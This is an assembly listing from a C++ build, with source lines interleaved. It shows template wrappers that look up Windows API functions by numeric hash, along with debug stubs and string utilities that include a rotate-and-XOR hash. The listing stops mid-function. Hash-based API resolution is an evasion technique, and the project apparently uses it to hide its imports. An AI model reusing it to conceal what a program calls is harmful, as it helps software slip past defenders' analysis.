_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0DNJJHCPF@$0CP@K@@YAPAXK@Z PROC	; pushargEx<1,1033466613,47,unsigned long>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 2f		 push	 47			; 0000002fH
  00002	68 f5 72 99 3d	 push	 1033466613		; 3d9972f5H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0DNJJHCPF@$0CP@K@@YAPAXK@Z ENDP	; pushargEx<1,1033466613,47,unsigned long>
_TEXT	ENDS
PUBLIC	??$pushargEx@$02$0JHPIFPKA@$0BEC@PAUHWND__@@PAUtagRECT@@@@YAPAXPAUHWND__@@PAUtagRECT@@@Z ; pushargEx<3,2549637024,322,HWND__ *,tagRECT *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$02$0JHPIFPKA@$0BEC@PAUHWND__@@PAUtagRECT@@@@YAPAXPAUHWND__@@PAUtagRECT@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$02$0JHPIFPKA@$0BEC@PAUHWND__@@PAUtagRECT@@@@YAPAXPAUHWND__@@PAUtagRECT@@@Z PROC ; pushargEx<3,2549637024,322,HWND__ *,tagRECT *>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 42 01 00 00	 push	 322			; 00000142H
  00005	68 a0 5f f8 97	 push	 -1745330272		; 97f85fa0H
  0000a	6a 03		 push	 3
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00016	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  0001a	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001e	ff d0		 call	 eax
; 111  : }
  00020	c3		 ret	 0
??$pushargEx@$02$0JHPIFPKA@$0BEC@PAUHWND__@@PAUtagRECT@@@@YAPAXPAUHWND__@@PAUtagRECT@@@Z ENDP ; pushargEx<3,2549637024,322,HWND__ *,tagRECT *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$02$0HCDEKBGP@$0BDH@PAUHWND__@@HHHHH@@YAPAXPAUHWND__@@HHHHH@Z ; pushargEx<3,1916051823,311,HWND__ *,int,int,int,int,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$02$0HCDEKBGP@$0BDH@PAUHWND__@@HHHHH@@YAPAXPAUHWND__@@HHHHH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
_a6$ = 28						; size = 4
??$pushargEx@$02$0HCDEKBGP@$0BDH@PAUHWND__@@HHHHH@@YAPAXPAUHWND__@@HHHHH@Z PROC ; pushargEx<3,1916051823,311,HWND__ *,int,int,int,int,int>, COMDAT
; 139  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 140  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F);
; 141  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	68 37 01 00 00	 push	 311			; 00000137H
  00008	68 6f a1 34 72	 push	 1916051823		; 7234a16fH
  0000d	6a 03		 push	 3
  0000f	6a 00		 push	 0
  00011	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00016	83 c4 10	 add	 esp, 16			; 00000010H
; 142  : 	return func(a1, a2, a3, a4, a5, a6);
  00019	ff 75 1c	 push	 DWORD PTR _a6$[ebp]
  0001c	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  0001f	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  00022	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  00025	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00028	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  0002b	ff d0		 call	 eax
; 143  : }
  0002d	5d		 pop	 ebp
  0002e	c3		 ret	 0
??$pushargEx@$02$0HCDEKBGP@$0BDH@PAUHWND__@@HHHHH@@YAPAXPAUHWND__@@HHHHH@Z ENDP ; pushargEx<3,1916051823,311,HWND__ *,int,int,int,int,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0GJCGABFC@$0GN@@@YAPAXXZ	; pushargEx<1,1764098386,109>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0GJCGABFC@$0GN@@@YAPAXXZ
_TEXT	SEGMENT
??$pushargEx@$00$0GJCGABFC@$0GN@@@YAPAXXZ PROC		; pushargEx<1,1764098386,109>, COMDAT
; 92   : 	typedef LPVOID (WINAPI *newfunc)();
; 93   : 	newfunc func = (newfunc)GetProcAddressEx2(NULL, h, hash, CacheIndex );
  00000	6a 6d		 push	 109			; 0000006dH
  00002	68 52 01 26 69	 push	 1764098386		; 69260152H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 94   : 	return func();
  00013	ff e0		 jmp	 eax
??$pushargEx@$00$0GJCGABFC@$0GN@@@YAPAXXZ ENDP		; pushargEx<1,1764098386,109>
_TEXT	ENDS
PUBLIC	??$pushargEx@$02$0MPKKNHLP@$0BBP@PAUHWND__@@@@YAPAXPAUHWND__@@@Z ; pushargEx<3,3484080063,287,HWND__ *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$02$0MPKKNHLP@$0BBP@PAUHWND__@@@@YAPAXPAUHWND__@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$02$0MPKKNHLP@$0BBP@PAUHWND__@@@@YAPAXPAUHWND__@@@Z PROC ; pushargEx<3,3484080063,287,HWND__ *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 1f 01 00 00	 push	 287			; 0000011fH
  00005	68 bf d7 aa cf	 push	 -810887233		; cfaad7bfH
  0000a	6a 03		 push	 3
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00016	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  0001a	ff d0		 call	 eax
; 103  : }
  0001c	c3		 ret	 0
??$pushargEx@$02$0MPKKNHLP@$0BBP@PAUHWND__@@@@YAPAXPAUHWND__@@@Z ENDP ; pushargEx<3,3484080063,287,HWND__ *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$02$0JNEKPJEJ@$0BCP@PAUHWND__@@@@YAPAXPAUHWND__@@@Z ; pushargEx<3,2638936393,303,HWND__ *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$02$0JNEKPJEJ@$0BCP@PAUHWND__@@@@YAPAXPAUHWND__@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$02$0JNEKPJEJ@$0BCP@PAUHWND__@@@@YAPAXPAUHWND__@@@Z PROC ; pushargEx<3,2638936393,303,HWND__ *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 2f 01 00 00	 push	 303			; 0000012fH
  00005	68 49 f9 4a 9d	 push	 -1656030903		; 9d4af949H
  0000a	6a 03		 push	 3
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00016	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  0001a	ff d0		 call	 eax
; 103  : }
  0001c	c3		 ret	 0
??$pushargEx@$02$0JNEKPJEJ@$0BCP@PAUHWND__@@@@YAPAXPAUHWND__@@@Z ENDP ; pushargEx<3,2638936393,303,HWND__ *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDH@bsssign_Template@@YAXPBD0H@Z ; bsssign_Template::DBGOutMessage<char const *,char const *,int>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDH@bsssign_Template@@YAXPBD0H@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
??$DBGOutMessage@PBDPBDH@bsssign_Template@@YAXPBD0H@Z PROC ; bsssign_Template::DBGOutMessage<char const *,char const *,int>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDH@bsssign_Template@@YAXPBD0H@Z ENDP ; bsssign_Template::DBGOutMessage<char const *,char const *,int>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBD@bsssign_Template@@YAXPBD0@Z ; bsssign_Template::DBGOutMessage<char const *,char const *>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBD@bsssign_Template@@YAXPBD0@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
??$DBGOutMessage@PBDPBD@bsssign_Template@@YAXPBD0@Z PROC ; bsssign_Template::DBGOutMessage<char const *,char const *>, COMDAT
; 66   : 	#ifdef DebugUtils
; 67   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str);
; 68   : 	#endif
; 69   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBD@bsssign_Template@@YAXPBD0@Z ENDP ; bsssign_Template::DBGOutMessage<char const *,char const *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z	; pushargEx<1,1033466613,47,int>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z PROC	; pushargEx<1,1033466613,47,int>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 2f		 push	 47			; 0000002fH
  00002	68 f5 72 99 3d	 push	 1033466613		; 3d9972f5H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ENDP	; pushargEx<1,1033466613,47,int>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBD_N@bsssign_Template@@YAXPBD0_N@Z ; bsssign_Template::DBGOutMessage<char const *,char const *,bool>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBD_N@bsssign_Template@@YAXPBD0_N@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 1
??$DBGOutMessage@PBDPBD_N@bsssign_Template@@YAXPBD0_N@Z PROC ; bsssign_Template::DBGOutMessage<char const *,char const *,bool>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBD_N@bsssign_Template@@YAXPBD0_N@Z ENDP ; bsssign_Template::DBGOutMessage<char const *,char const *,bool>
_TEXT	ENDS
PUBLIC	??$pushargEx@$02$0NKBCOFEJ@$0BDA@PAUHWND__@@H@@YAPAXPAUHWND__@@H@Z ; pushargEx<3,3658671433,304,HWND__ *,int>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$02$0NKBCOFEJ@$0BDA@PAUHWND__@@H@@YAPAXPAUHWND__@@H@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$02$0NKBCOFEJ@$0BDA@PAUHWND__@@H@@YAPAXPAUHWND__@@H@Z PROC ; pushargEx<3,3658671433,304,HWND__ *,int>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 30 01 00 00	 push	 304			; 00000130H
  00005	68 49 e5 12 da	 push	 -636295863		; da12e549H
  0000a	6a 03		 push	 3
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00016	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  0001a	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001e	ff d0		 call	 eax
; 111  : }
  00020	c3		 ret	 0
??$pushargEx@$02$0NKBCOFEJ@$0BDA@PAUHWND__@@H@@YAPAXPAUHWND__@@H@Z ENDP ; pushargEx<3,3658671433,304,HWND__ *,int>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPADPAD@bsssign_Template@@YAXPBD0PAD1@Z ; bsssign_Template::DBGOutMessage<char const *,char const *,char *,char *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDPADPAD@bsssign_Template@@YAXPBD0PAD1@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
??$DBGOutMessage@PBDPBDPADPAD@bsssign_Template@@YAXPBD0PAD1@Z PROC ; bsssign_Template::DBGOutMessage<char const *,char const *,char *,char *>, COMDAT
; 82   : 	#ifdef DebugUtils
; 83   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2);
; 84   : 	#endif
; 85   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPADPAD@bsssign_Template@@YAXPBD0PAD1@Z ENDP ; bsssign_Template::DBGOutMessage<char const *,char const *,char *,char *>
_TEXT	ENDS
PUBLIC	?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z		; STRUTILS<char>::IsEmpty
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z PROC			; STRUTILS<char>::IsEmpty, COMDAT
; 20   : 	return Str == NULL || *Str == 0;
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	74 08		 je	 SHORT $LN3@IsEmpty
  00008	80 38 00	 cmp	 BYTE PTR [eax], 0
  0000b	74 03		 je	 SHORT $LN3@IsEmpty
  0000d	33 c0		 xor	 eax, eax
; 21   : }
  0000f	c3		 ret	 0
$LN3@IsEmpty:
; 20   : 	return Str == NULL || *Str == 0;
  00010	33 c0		 xor	 eax, eax
  00012	40		 inc	 eax
; 21   : }
  00013	c3		 ret	 0
?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ENDP			; STRUTILS<char>::IsEmpty
_TEXT	ENDS
PUBLIC	?Pos@?$STRUTILS@D@@SAHPBD0@Z			; STRUTILS<char>::Pos
; Function compile flags: /Ogspy
;	COMDAT ?Pos@?$STRUTILS@D@@SAHPBD0@Z
_TEXT	SEGMENT
_Temp$ = -4						; size = 4
_Str$ = 8						; size = 4
_SubStr$ = 12						; size = 4
?Pos@?$STRUTILS@D@@SAHPBD0@Z PROC			; STRUTILS<char>::Pos, COMDAT
; 39   : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	53		 push	 ebx
  00005	56		 push	 esi
  00006	57		 push	 edi
; 40   : 	if (IsEmpty(Str) || IsEmpty(SubStr))
  00007	8b 7d 08	 mov	 edi, DWORD PTR _Str$[ebp]
  0000a	57		 push	 edi
  0000b	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  00010	59		 pop	 ecx
  00011	84 c0		 test	 al, al
  00013	75 4b		 jne	 SHORT $LN7@Pos
  00015	8b 75 0c	 mov	 esi, DWORD PTR _SubStr$[ebp]
  00018	56		 push	 esi
  00019	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  0001e	59		 pop	 ecx
  0001f	84 c0		 test	 al, al
  00021	75 3d		 jne	 SHORT $LN7@Pos
; 42   : 
; 43   :     const TChar* Temp = Str;
; 44   : 	while (*Temp)
  00023	8a 1f		 mov	 bl, BYTE PTR [edi]
  00025	89 7d fc	 mov	 DWORD PTR _Temp$[ebp], edi
  00028	84 db		 test	 bl, bl
  0002a	74 34		 je	 SHORT $LN7@Pos
  0002c	8a 06		 mov	 al, BYTE PTR [esi]
  0002e	8b cf		 mov	 ecx, edi
  00030	2b ce		 sub	 ecx, esi
$LL6@Pos:
; 45   : 	{
; 46   : 		if (*Temp == *SubStr)
  00032	3a d8		 cmp	 bl, al
  00034	75 1d		 jne	 SHORT $LN1@Pos
; 47   : 		{
; 48   : 			// 
; 49   : 			const TChar* S1 = Temp;
; 50   : 			const TChar* S2 = SubStr;
  00036	8b d6		 mov	 edx, esi
; 51   : 			while (*S1 && *S2 && *S1 == *S2) {S1++; S2++;}
  00038	84 db		 test	 bl, bl
  0003a	74 12		 je	 SHORT $LN2@Pos
$LL3@Pos:
  0003c	8a 1a		 mov	 bl, BYTE PTR [edx]
  0003e	84 db		 test	 bl, bl
  00040	74 26		 je	 SHORT $LN13@Pos
  00042	38 1c 11	 cmp	 BYTE PTR [ecx+edx], bl
  00045	75 07		 jne	 SHORT $LN2@Pos
  00047	42		 inc	 edx
  00048	80 3c 11 00	 cmp	 BYTE PTR [ecx+edx], 0
  0004c	75 ee		 jne	 SHORT $LL3@Pos
$LN2@Pos:
; 52   : 			if (*S2 == 0) return Temp - Str;
  0004e	80 3a 00	 cmp	 BYTE PTR [edx], 0
  00051	74 15		 je	 SHORT $LN13@Pos
$LN1@Pos:
; 53   : 		}
; 54   : 		Temp++;
  00053	ff 45 fc	 inc	 DWORD PTR _Temp$[ebp]
  00056	8b 55 fc	 mov	 edx, DWORD PTR _Temp$[ebp]
  00059	8a 1a		 mov	 bl, BYTE PTR [edx]
  0005b	41		 inc	 ecx
  0005c	84 db		 test	 bl, bl
  0005e	75 d2		 jne	 SHORT $LL6@Pos
$LN7@Pos:
; 41   : 		return -1;
  00060	83 c8 ff	 or	 eax, -1
$LN9@Pos:
  00063	5f		 pop	 edi
  00064	5e		 pop	 esi
  00065	5b		 pop	 ebx
; 55   :     }
; 56   :     return -1;
; 57   : }
  00066	c9		 leave
  00067	c3		 ret	 0
$LN13@Pos:
; 52   : 			if (*S2 == 0) return Temp - Str;
  00068	8b 45 fc	 mov	 eax, DWORD PTR _Temp$[ebp]
  0006b	2b c7		 sub	 eax, edi
  0006d	eb f4		 jmp	 SHORT $LN9@Pos
?Pos@?$STRUTILS@D@@SAHPBD0@Z ENDP			; STRUTILS<char>::Pos
_TEXT	ENDS
PUBLIC	??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z ; pushargEx<3,1799024876,346,char *,char const *,char *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z PROC ; pushargEx<3,1799024876,346,char *,char const *,char *>, COMDAT
; 116  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C);
; 117  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 5a 01 00 00	 push	 346			; 0000015aH
  00005	68 ec f0 3a 6b	 push	 1799024876		; 6b3af0ecH
  0000a	6a 03		 push	 3
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 118  : 	return func(a1,a2,a3);
  00016	ff 74 24 0c	 push	 DWORD PTR _a3$[esp-4]
  0001a	ff 74 24 0c	 push	 DWORD PTR _a2$[esp]
  0001e	ff 74 24 0c	 push	 DWORD PTR _a1$[esp+4]
  00022	ff d0		 call	 eax
; 119  : }
  00024	c3		 ret	 0
??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z ENDP ; pushargEx<3,1799024876,346,char *,char const *,char *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$02$0GLDKPAPK@$0BFL@PADPBDPAD@@YAPAXPADPBD0@Z ; pushargEx<3,1799024890,347,char *,char const *,char *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$02$0GLDKPAPK@$0BFL@PADPBDPAD@@YAPAXPADPBD0@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
??$pushargEx@$02$0GLDKPAPK@$0BFL@PADPBDPAD@@YAPAXPADPBD0@Z PROC ; pushargEx<3,1799024890,347,char *,char const *,char *>, COMDAT
; 116  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C);
; 117  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 5b 01 00 00	 push	 347			; 0000015bH
  00005	68 fa f0 3a 6b	 push	 1799024890		; 6b3af0faH
  0000a	6a 03		 push	 3
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 118  : 	return func(a1,a2,a3);
  00016	ff 74 24 0c	 push	 DWORD PTR _a3$[esp-4]
  0001a	ff 74 24 0c	 push	 DWORD PTR _a2$[esp]
  0001e	ff 74 24 0c	 push	 DWORD PTR _a1$[esp+4]
  00022	ff d0		 call	 eax
; 119  : }
  00024	c3		 ret	 0
??$pushargEx@$02$0GLDKPAPK@$0BFL@PADPBDPAD@@YAPAXPADPBD0@Z ENDP ; pushargEx<3,1799024890,347,char *,char const *,char *>
_TEXT	ENDS
PUBLIC	??$Alloc@D@STRBUF@@YAPADK@Z			; STRBUF::Alloc<char>
EXTRN	?Alloc@HEAP@@YAPAXK@Z:PROC			; HEAP::Alloc
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ??$Alloc@D@STRBUF@@YAPADK@Z
_TEXT	SEGMENT
_Size$ = 8						; size = 4
??$Alloc@D@STRBUF@@YAPADK@Z PROC			; STRBUF::Alloc<char>, COMDAT
; 379  : 	// 
 Size 
; 380  : 	// 
; 381  : 	if (Size == 0) return NULL;
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Size$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	75 01		 jne	 SHORT $LN2@Alloc
; 396  : 	return (TChar*)Buf;
; 397  : }
  00008	c3		 ret	 0
$LN2@Alloc:
; 382  : 
; 383  : 	#ifdef USE_BLOCKS_STRINGS
; 384  :         Size = ((Size / STRING_BLOCK_SIZE) + 1) * STRING_BLOCK_SIZE;
  00009	c1 e8 05	 shr	 eax, 5
  0000c	40		 inc	 eax
  0000d	c1 e0 05	 shl	 eax, 5
  00010	56		 push	 esi
  00011	8b f0		 mov	 esi, eax
; 385  : 	#endif
; 386  : 
; 387  : 	DWORD BufSize = (Size + 1) * sizeof(TChar) + sizeof(TStrRec);
  00013	8d 46 0d	 lea	 eax, DWORD PTR [esi+13]
; 388  : 	TStrRec* Buf = (TStrRec*)HEAP::Alloc(BufSize);
  00016	50		 push	 eax
  00017	e8 00 00 00 00	 call	 ?Alloc@HEAP@@YAPAXK@Z	; HEAP::Alloc
  0001c	59		 pop	 ecx
; 389  : 	if (Buf == NULL) return NULL;
  0001d	85 c0		 test	 eax, eax
  0001f	75 02		 jne	 SHORT $LN1@Alloc
  00021	5e		 pop	 esi
; 396  : 	return (TChar*)Buf;
; 397  : }
  00022	c3		 ret	 0
$LN1@Alloc:
; 390  : 
; 391  : 	Buf->Size     = Size;
; 392  : 	Buf->Length   = 0;
  00023	83 60 04 00	 and	 DWORD PTR [eax+4], 0
  00027	89 30		 mov	 DWORD PTR [eax], esi
; 393  : 	Buf->RefCount = 1;
  00029	c7 40 08 01 00
	00 00		 mov	 DWORD PTR [eax+8], 1
; 394  : 
; 395  : 	Buf++;
  00030	83 c0 0c	 add	 eax, 12			; 0000000cH
  00033	5e		 pop	 esi
; 396  : 	return (TChar*)Buf;
; 397  : }
  00034	c3		 ret	 0
??$Alloc@D@STRBUF@@YAPADK@Z ENDP			; STRBUF::Alloc<char>
_TEXT	ENDS
PUBLIC	?Hash@?$STRUTILS@D@@SAKPBDK_N@Z			; STRUTILS<char>::Hash
; Function compile flags: /Ogspy
;	COMDAT ?Hash@?$STRUTILS@D@@SAKPBDK_N@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
_Len$ = 12						; size = 4
_LowerCase$ = 16					; size = 1
?Hash@?$STRUTILS@D@@SAKPBDK_N@Z PROC			; STRUTILS<char>::Hash, COMDAT
; 287  : 	// 
; 288  : 	// Str - 
; 289  : 	// Len - 
; 290  : 	// LowerCase - 
; 291  : 
; 292  : 	if (Str == NULL) return (DWORD)-1; // 
  00000	8b 54 24 04	 mov	 edx, DWORD PTR _Str$[esp-4]
  00004	85 d2		 test	 edx, edx
  00006	75 04		 jne	 SHORT $LN7@Hash
  00008	83 c8 ff	 or	 eax, -1
; 305  : }
  0000b	c3		 ret	 0
$LN7@Hash:
  0000c	56		 push	 esi
  0000d	57		 push	 edi
; 293  : 
; 294  : 	DWORD H = 0;
  0000e	33 f6		 xor	 esi, esi
; 295  : 
; 296  : 	for (DWORD i = 0; *Str != 0 && (Len == 0 || i < Len); Str++, i++)
  00010	33 ff		 xor	 edi, edi
  00012	eb 29		 jmp	 SHORT $LN13@Hash
$LL6@Hash:
  00014	83 7c 24 10 00	 cmp	 DWORD PTR _Len$[esp+4], 0
  00019	74 06		 je	 SHORT $LN3@Hash
  0001b	3b 7c 24 10	 cmp	 edi, DWORD PTR _Len$[esp+4]
  0001f	73 22		 jae	 SHORT $LN4@Hash
$LN3@Hash:
; 297  : 	{
; 298  : 		TChar Ch = *Str;
; 299  : 		if (LowerCase) LowerChar(Ch);
  00021	80 7c 24 14 00	 cmp	 BYTE PTR _LowerCase$[esp+4], 0
  00026	74 0b		 je	 SHORT $LN1@Hash
  00028	8a c1		 mov	 al, cl
  0002a	2c 41		 sub	 al, 65			; 00000041H
  0002c	3c 19		 cmp	 al, 25			; 00000019H
  0002e	77 03		 ja	 SHORT $LN1@Hash
  00030	80 c1 20	 add	 cl, 32			; 00000020H
$LN1@Hash:
; 300  : 		H = (( H << 7 ) & (DWORD)( -1 ) ) | ( H >> ( 32 - 7 ));
; 301  : 		H = H ^ Ch;
  00033	0f be c1	 movsx	 eax, cl
  00036	c1 c6 07	 rol	 esi, 7
  00039	33 f0		 xor	 esi, eax
  0003b	42		 inc	 edx
  0003c	47		 inc	 edi
$LN13@Hash:
  0003d	8a 0a		 mov	 cl, BYTE PTR [edx]
  0003f	84 c9		 test	 cl, cl
  00041	75 d1		 jne	 SHORT $LL6@Hash
$LN4@Hash:
  00043	5f		 pop	 edi
; 302  : 	}
; 303  : 
; 304  : 	return H;
  00044	8b c6		 mov	 eax, esi
